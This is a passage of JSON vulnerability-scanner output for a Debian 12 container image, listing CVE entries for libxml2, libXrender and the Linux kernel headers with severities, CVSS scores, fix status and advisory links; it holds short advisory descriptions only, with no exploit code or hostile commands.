enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document Type Definition (DTD) with enumerated attribute values. This triggers a double-free error in the SAX attributeDecl callback handler, where a string is freed twice. This flaw can lead to a denial of service (DoS) due to a reproducible crash in Python applications using the libxml2 SAX bindings.", "Severity": "HIGH", "CweIDs": [ "CWE-763" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64463", "https://access.redhat.com/errata/RHSA-2026:71585", "https://access.redhat.com/errata/RHSA-2026:71586", "https://access.redhat.com/errata/RHSA-2026:71641", "https://access.redhat.com/errata/RHSA-2026:72470", "https://access.redhat.com/errata/RHSA-2026:72475", "https://access.redhat.com/errata/RHSA-2026:72476", "https://access.redhat.com/errata/RHSA-2026:79357", "https://access.redhat.com/errata/RHSA-2026:82939", "https://access.redhat.com/errata/RHSA-2026:89750", "https://access.redhat.com/errata/RHSA-2026:89759", "https://access.redhat.com/errata/RHSA-2026:90309", "https://access.redhat.com/errata/RHSA-2026:91202", "https://access.redhat.com/errata/RHSA-2026:91204", "https://access.redhat.com/errata/RHSA-2026:91206", "https://access.redhat.com/errata/RHSA-2026:91207", "https://access.redhat.com/errata/RHSA-2026:91217", "https://access.redhat.com/errata/RHSA-2026:91218", "https://access.redhat.com/errata/RHSA-2026:91219", "https://access.redhat.com/errata/RHSA-2026:91224", "https://access.redhat.com/errata/RHSA-2026:91232", "https://access.redhat.com/errata/RHSA-2026:91233", "https://access.redhat.com/errata/RHSA-2026:91234", "https://access.redhat.com/errata/RHSA-2026:91235", "https://access.redhat.com/errata/RHSA-2026:91236", "https://access.redhat.com/errata/RHSA-2026:91237", "https://access.redhat.com/errata/RHSA-2026:91238", "https://access.redhat.com/errata/RHSA-2026:91241", "https://access.redhat.com/errata/RHSA-2026:91242", "https://access.redhat.com/errata/RHSA-2026:91243", "https://access.redhat.com/errata/RHSA-2026:91244", "https://access.redhat.com/errata/RHSA-2026:91245", "https://access.redhat.com/errata/RHSA-2026:91246", "https://access.redhat.com/errata/RHSA-2026:91248", "https://access.redhat.com/errata/RHSA-2026:91249", "https://access.redhat.com/errata/RHSA-2026:92352", "https://access.redhat.com/errata/RHSA-2026:92589", "https://access.redhat.com/errata/RHSA-2026:93463", "https://access.redhat.com/errata/RHSA-2026:93473", "https://access.redhat.com/errata/RHSA-2026:93791", "https://access.redhat.com/errata/RHSA-2026:94459", "https://access.redhat.com/errata/RHSA-2026:94468", "https://access.redhat.com/errata/RHSA-2026:94474", "https://access.redhat.com/errata/RHSA-2026:94476", "https://access.redhat.com/security/cve/CVE-2026-74860", "https://bugzilla.redhat.com/2528986", "https://bugzilla.redhat.com/2528987", "https://bugzilla.redhat.com/2528989", "https://bugzilla.redhat.com/2528990", "https://bugzilla.redhat.com/2528992", "https://bugzilla.redhat.com/2529697", "https://bugzilla.redhat.com/show_bug.cgi?id=2528986", "https://bugzilla.redhat.com/show_bug.cgi?id=2528987", "https://bugzilla.redhat.com/show_bug.cgi?id=2528989", "https://bugzilla.redhat.com/show_bug.cgi?id=2528990", "https://bugzilla.redhat.com/show_bug.cgi?id=2528992", "https://bugzilla.redhat.com/show_bug.cgi?id=2529697", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86142", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86144", "https://errata.almalinux.org/9/ALSA-2026-71585.html", "https://errata.rockylinux.org/RLSA-2026:71585", "https://linux.oracle.com/cve/CVE-2026-74860.html", "https://linux.oracle.com/errata/ELSA-2026-71641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-74860", "https://ubuntu.com/security/notices/USN-8787-1", "https://www.cve.org/CVERecord?id=CVE-2026-74860" ], "PublishedDate": "2026-09-08T12:16:58.083Z", "LastModifiedDate": "2026-11-06T07:17:46.083Z" }, { "VulnerabilityID": "CVE-2026-86138", "PkgID": "libxml2@2.9.14+dfsg-1.3~deb12u5", "PkgName": "libxml2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxml2@2.9.14%2Bdfsg-1.3~deb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "3e7015dac034276d" }, "InstalledVersion": "2.9.14+dfsg-1.3~deb12u5", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86138", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:682450fbb9fa5ca3e0a61ab99d70d6841092d454e2d069f0df4a0071d1a4d8ce", "Title": "libxml2: libxml2: Arbitrary code execution via heap-based buffer overflow", "Description": "In libxml2 before 2.15.4, xmlDictAddQString in dict.c has an integer overflow and resultant heap-based buffer overflow.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 6.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71585", "https://access.redhat.com/security/cve/CVE-2026-86138", "https://bugzilla.redhat.com/2528986", "https://bugzilla.redhat.com/2528987", "https://bugzilla.redhat.com/2528989", "https://bugzilla.redhat.com/2528990", "https://bugzilla.redhat.com/2528992", "https://bugzilla.redhat.com/2529697", "https://bugzilla.redhat.com/show_bug.cgi?id=2528986", "https://bugzilla.redhat.com/show_bug.cgi?id=2528987", "https://bugzilla.redhat.com/show_bug.cgi?id=2528989", "https://bugzilla.redhat.com/show_bug.cgi?id=2528990", "https://bugzilla.redhat.com/show_bug.cgi?id=2528992", "https://bugzilla.redhat.com/show_bug.cgi?id=2529697", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86142", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86144", "https://errata.almalinux.org/9/ALSA-2026-71585.html", "https://errata.rockylinux.org/RLSA-2026:71585", "https://github.com/GNOME/libxml2/commit/a4cba4b5b5a8c42e155ed42d2d2a44955465a2e4", "https://github.com/GNOME/libxml2/compare/v2.15.3...v2.15.4", "https://linux.oracle.com/cve/CVE-2026-86138.html", "https://linux.oracle.com/errata/ELSA-2026-71641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86138", "https://ubuntu.com/security/notices/USN-8910-1", "https://www.cve.org/CVERecord?id=CVE-2026-86138" ], "PublishedDate": "2026-09-05T05:17:12.6Z", "LastModifiedDate": "2026-09-15T19:40:47.56Z" }, { "VulnerabilityID": "CVE-2026-86140", "PkgID": "libxml2@2.9.14+dfsg-1.3~deb12u5", "PkgName": "libxml2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxml2@2.9.14%2Bdfsg-1.3~deb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "3e7015dac034276d" }, "InstalledVersion": "2.9.14+dfsg-1.3~deb12u5", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86140", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9c1b2beff933e978308ec8c9787525e05a0d1101f67b45654332f6bc1c20f230", "Title": "libxml2: libxml2: Arbitrary code execution via stack-based buffer overflow in xmlSnprintfElements", "Description": "In libxml2 before 2.15.4, xmlSnprintfElements in valid.c has a strcat stack-based buffer overflow.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71585", "https://access.redhat.com/security/cve/CVE-2026-86140", "https://bugzilla.redhat.com/2528986", "https://bugzilla.redhat.com/2528987", "https://bugzilla.redhat.com/2528989", "https://bugzilla.redhat.com/2528990", "https://bugzilla.redhat.com/2528992", "https://bugzilla.redhat.com/2529697", "https://bugzilla.redhat.com/show_bug.cgi?id=2528986", "https://bugzilla.redhat.com/show_bug.cgi?id=2528987", "https://bugzilla.redhat.com/show_bug.cgi?id=2528989", "https://bugzilla.redhat.com/show_bug.cgi?id=2528990", "https://bugzilla.redhat.com/show_bug.cgi?id=2528992", "https://bugzilla.redhat.com/show_bug.cgi?id=2529697", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86142", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86144", "https://errata.almalinux.org/9/ALSA-2026-71585.html", "https://errata.rockylinux.org/RLSA-2026:71585", "https://github.com/GNOME/libxml2/commit/d1686f91dbda141a752200419d35639fd6b38340", "https://github.com/GNOME/libxml2/compare/v2.15.3...v2.15.4", "https://linux.oracle.com/cve/CVE-2026-86140.html", "https://linux.oracle.com/errata/ELSA-2026-71641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86140", "https://ubuntu.com/security/notices/USN-8787-1", "https://www.cve.org/CVERecord?id=CVE-2026-86140" ], "PublishedDate": "2026-09-05T05:17:12.877Z", "LastModifiedDate": "2026-09-15T19:39:17.01Z" }, { "VulnerabilityID": "CVE-2026-86142", "PkgID": "libxml2@2.9.14+dfsg-1.3~deb12u5", "PkgName": "libxml2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxml2@2.9.14%2Bdfsg-1.3~deb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "3e7015dac034276d" }, "InstalledVersion": "2.9.14+dfsg-1.3~deb12u5", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86142", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e204ceb040aafd19acb3e6aee8d9114f4b866fb3a11beb5e77fdce727d671819", "Title": "libxml2: libxml2: Heap-based buffer overflow in xmlXPtrEval due to xpointer length saturation", "Description": "In libxml2 before 2.15.4, there is a heap-based buffer overflow in xmlXPtrEvalXPtrPart because of xmlXPtrEval xpointer length saturation.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 6.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71585", "https://access.redhat.com/security/cve/CVE-2026-86142", "https://bugzilla.redhat.com/2528986", "https://bugzilla.redhat.com/2528987", "https://bugzilla.redhat.com/2528989", "https://bugzilla.redhat.com/2528990", "https://bugzilla.redhat.com/2528992", "https://bugzilla.redhat.com/2529697", "https://bugzilla.redhat.com/show_bug.cgi?id=2528986", "https://bugzilla.redhat.com/show_bug.cgi?id=2528987", "https://bugzilla.redhat.com/show_bug.cgi?id=2528989", "https://bugzilla.redhat.com/show_bug.cgi?id=2528990", "https://bugzilla.redhat.com/show_bug.cgi?id=2528992", "https://bugzilla.redhat.com/show_bug.cgi?id=2529697", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86142", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86144", "https://errata.almalinux.org/9/ALSA-2026-71585.html", "https://errata.rockylinux.org/RLSA-2026:71585", "https://github.com/GNOME/libxml2/commit/6b3a736c0edc74ceec3d82f5252499d7911b3a58", "https://github.com/GNOME/libxml2/compare/v2.15.3...v2.15.4", "https://gitlab.gnome.org/GNOME/libxml2/-/work_items/1113", "https://linux.oracle.com/cve/CVE-2026-86142.html", "https://linux.oracle.com/errata/ELSA-2026-80675.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86142", "https://ubuntu.com/security/notices/USN-8910-1", "https://www.cve.org/CVERecord?id=CVE-2026-86142" ], "PublishedDate": "2026-09-05T05:17:13.133Z", "LastModifiedDate": "2026-09-15T19:35:48.663Z" }, { "VulnerabilityID": "CVE-2026-86143", "PkgID": "libxml2@2.9.14+dfsg-1.3~deb12u5", "PkgName": "libxml2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxml2@2.9.14%2Bdfsg-1.3~deb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "3e7015dac034276d" }, "InstalledVersion": "2.9.14+dfsg-1.3~deb12u5", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86143", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:544847d3f997e8a696f158ce7f0dfa378a755f68b23b8df7573225feefc4ddf5", "Title": "libxml2: libxml2: Data integrity issues due to integer overflow in write callbacks", "Description": "In xmlIO in libxml2 before 2.15.4, an inconsistency in xmlOutputWriteCallback and xmlBufUse causes negative lengths to reach write callbacks, aka a lack of a check for integer overflow before calling writecallback. This has security relevance for many types of uses of that length value within a callback.", "Severity": "HIGH", "CweIDs": [ "CWE-192" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 6.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71585", "https://access.redhat.com/security/cve/CVE-2026-86143", "https://bugzilla.redhat.com/2528986", "https://bugzilla.redhat.com/2528987", "https://bugzilla.redhat.com/2528989", "https://bugzilla.redhat.com/2528990", "https://bugzilla.redhat.com/2528992", "https://bugzilla.redhat.com/2529697", "https://bugzilla.redhat.com/show_bug.cgi?id=2528986", "https://bugzilla.redhat.com/show_bug.cgi?id=2528987", "https://bugzilla.redhat.com/show_bug.cgi?id=2528989", "https://bugzilla.redhat.com/show_bug.cgi?id=2528990", "https://bugzilla.redhat.com/show_bug.cgi?id=2528992", "https://bugzilla.redhat.com/show_bug.cgi?id=2529697", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86142", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86144", "https://errata.almalinux.org/9/ALSA-2026-71585.html", "https://errata.rockylinux.org/RLSA-2026:71585", "https://github.com/GNOME/libxml2/commit/90f293ba74d28b1d570920382e707586f68ebf35", "https://github.com/GNOME/libxml2/compare/v2.15.3...v2.15.4", "https://gitlab.gnome.org/GNOME/libxml2/-/work_items/1111", "https://linux.oracle.com/cve/CVE-2026-86143.html", "https://linux.oracle.com/errata/ELSA-2026-71641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86143", "https://ubuntu.com/security/notices/USN-8910-1", "https://www.cve.org/CVERecord?id=CVE-2026-86143" ], "PublishedDate": "2026-09-05T05:17:13.27Z", "LastModifiedDate": "2026-09-15T19:31:15.857Z" }, { "VulnerabilityID": "CVE-2026-86144", "PkgID": "libxml2@2.9.14+dfsg-1.3~deb12u5", "PkgName": "libxml2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxml2@2.9.14%2Bdfsg-1.3~deb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "3e7015dac034276d" }, "InstalledVersion": "2.9.14+dfsg-1.3~deb12u5", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86144", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1112cb04bdba80a92fe6b20535862f0031451f7186b1743e51d1d1ebc39c8a72", "Title": "libxml2: libxml2: Information disclosure, SSRF, or denial of service due to improper parseFlags propagation.", "Description": "In xinclude in libxml2 before 2.15.4, xmlXIncludeProcess and xmlXIncludeProcessTree do not propagate parseFlags. This has security relevance for, for example, the XML_PARSE_NONET flag, if (without it) a custom resource loader accesses the internet and triggers XML external entity injection, SSRF, or a denial of service (e.g., for an attacker-controlled internet resource that is intentionally slow).", "Severity": "HIGH", "CweIDs": [ "CWE-669" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L", "V3Score": 5.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71585", "https://access.redhat.com/security/cve/CVE-2026-86144", "https://bugzilla.redhat.com/2528986", "https://bugzilla.redhat.com/2528987", "https://bugzilla.redhat.com/2528989", "https://bugzilla.redhat.com/2528990", "https://bugzilla.redhat.com/2528992", "https://bugzilla.redhat.com/2529697", "https://bugzilla.redhat.com/show_bug.cgi?id=2528986", "https://bugzilla.redhat.com/show_bug.cgi?id=2528987", "https://bugzilla.redhat.com/show_bug.cgi?id=2528989", "https://bugzilla.redhat.com/show_bug.cgi?id=2528990", "https://bugzilla.redhat.com/show_bug.cgi?id=2528992", "https://bugzilla.redhat.com/show_bug.cgi?id=2529697", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86142", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86144", "https://errata.almalinux.org/9/ALSA-2026-71585.html", "https://errata.rockylinux.org/RLSA-2026:71585", "https://github.com/GNOME/libxml2/commit/b63cd517afecb76582dd9488c55e54ceaf50de61", "https://github.com/GNOME/libxml2/compare/v2.15.3...v2.15.4", "https://linux.oracle.com/cve/CVE-2026-86144.html", "https://linux.oracle.com/errata/ELSA-2026-71641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86144", "https://ubuntu.com/security/notices/USN-8910-1", "https://www.cve.org/CVERecord?id=CVE-2026-86144" ], "PublishedDate": "2026-09-05T05:17:13.407Z", "LastModifiedDate": "2026-09-15T19:20:15.06Z" }, { "VulnerabilityID": "CVE-2026-88807", "PkgID": "libxrender1@1:0.9.10-1.1", "PkgName": "libxrender1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxrender1@0.9.10-1.1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "99fd85e75f224f92" }, "InstalledVersion": "1:0.9.10-1.1", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-88807", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0de125a3ae155a7effcbdb715a622f8ba34a503cae04ba49ae4516dc72c21f53", "Title": "libXrender: libXrender: Code injection via heap overflow in RenderQueryPictFormats", "Description": "A heap overflow in libXrender before 0.9.13 in RenderQueryPictFormats could be used by malicious X servers to inject code into attached X clients.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:91057", "https://access.redhat.com/security/cve/CVE-2026-88807", "https://bugzilla.redhat.com/2537924", "https://bugzilla.redhat.com/show_bug.cgi?id=2537924", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88807", "https://errata.almalinux.org/9/ALSA-2026-91057.html", "https://errata.rockylinux.org/RLSA-2026:91057", "https://gitlab.freedesktop.org/xorg/lib/libxrender/-/merge_requests/19", "https://linux.oracle.com/cve/CVE-2026-88807.html", "https://linux.oracle.com/errata/ELSA-2026-91267.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-88807", "https://www.cve.org/CVERecord?id=CVE-2026-88807" ], "PublishedDate": "2026-09-21T14:17:22.41Z", "LastModifiedDate": "2026-09-22T19:40:05.87Z" }, { "VulnerabilityID": "CVE-2026-23112", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23112", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:950e73e6f47cb163cb92c2aabe3c05b8918190ffe0ebfb0153d2661bb69666bf", "Title": "kernel: nvmet-tcp: add bounds checks in nvmet_tcp_build_pdu_iovec", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-tcp: add bounds checks in nvmet_tcp_build_pdu_iovec\n\nnvmet_tcp_build_pdu_iovec() could walk past cmd-\u003ereq.sg when a PDU\nlength or offset exceeds sg_cnt and then use bogus sg-\u003elength/offset\nvalues, leading to _copy_to_iter() GPF/KASAN. Guard sg_idx, remaining\nentries, and sg-\u003elength/offset before building the bvec.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787", "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23112", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://git.kernel.org/linus/52a0a98549344ca20ad81a4176d68d28e3c05a5c%20%286.19%29", "https://git.kernel.org/stable/c/043b4307a99f902697349128fde93b2ddde4686c", "https://git.kernel.org/stable/c/0b9981751be14b59b4473383c731c833738aebdb", "https://git.kernel.org/stable/c/1385be357e8acd09b36e026567f3a9d5c61139de", "https://git.kernel.org/stable/c/19672ae68d52ff75347ebe2420dde1b07adca09f", "https://git.kernel.org/stable/c/42afe8ed8ad2de9c19457156244ef3e1eca94b5d", "https://git.kernel.org/stable/c/52a0a98549344ca20ad81a4176d68d28e3c05a5c", "https://git.kernel.org/stable/c/ab200d71553bdcf4de554a5985b05b2dd606bc57", "https://git.kernel.org/stable/c/dca1a6ba0da9f472ef040525fab10fd9956db59f", "https://linux.oracle.com/cve/CVE-2026-23112.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026021302-CVE-2026-23112-6499@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23112", "https://ubuntu.com/security/notices/USN-8244-1", "https://ubuntu.com/security/notices/USN-8245-1", "https://ubuntu.com/security/notices/USN-8254-1", "https://ubuntu.com/security/notices/USN-8254-2", "https://ubuntu.com/security/notices/USN-8254-3", "https://ubuntu.com/security/notices/USN-8255-1", "https://ubuntu.com/security/notices/USN-8255-2", "https://ubuntu.com/security/notices/USN-8255-3", "https://ubuntu.com/security/notices/USN-8257-1", "https://ubuntu.com/security/notices/USN-8258-1", "https://ubuntu.com/security/notices/USN-8260-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8273-1", "https://ubuntu.com/security/notices/USN-8275-1", "https://ubuntu.com/security/notices/USN-8297-1", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8439-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://www.cve.org/CVERecord?id=CVE-2026-23112" ], "PublishedDate": "2026-02-13T14:16:10.403Z", "LastModifiedDate": "2026-10-19T19:17:37.33Z" }, { "VulnerabilityID": "CVE-2026-43037", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43037", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1c2894e5df3f8cdb56ab339e3c44fcd3ef42d8429b482690a5a3b8e5417a1bbf", "Title": "kernel: ip6_tunnel: clear skb2-\u003ecb[] in ip4ip6_err()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: clear skb2-\u003ecb[] in ip4ip6_err()\n\nOskar Kjos reported the following problem.\n\nip4ip6_err() calls icmp_send() on a cloned skb whose cb[] was written\nby the IPv6 receive path as struct inet6_skb_parm. icmp_send() passes\nIPCB(skb2) to __ip_options_echo(), which interprets that cb[] region\nas struct inet_skb_parm (IPv4). The layouts differ: inet6_skb_parm.nhoff\nat 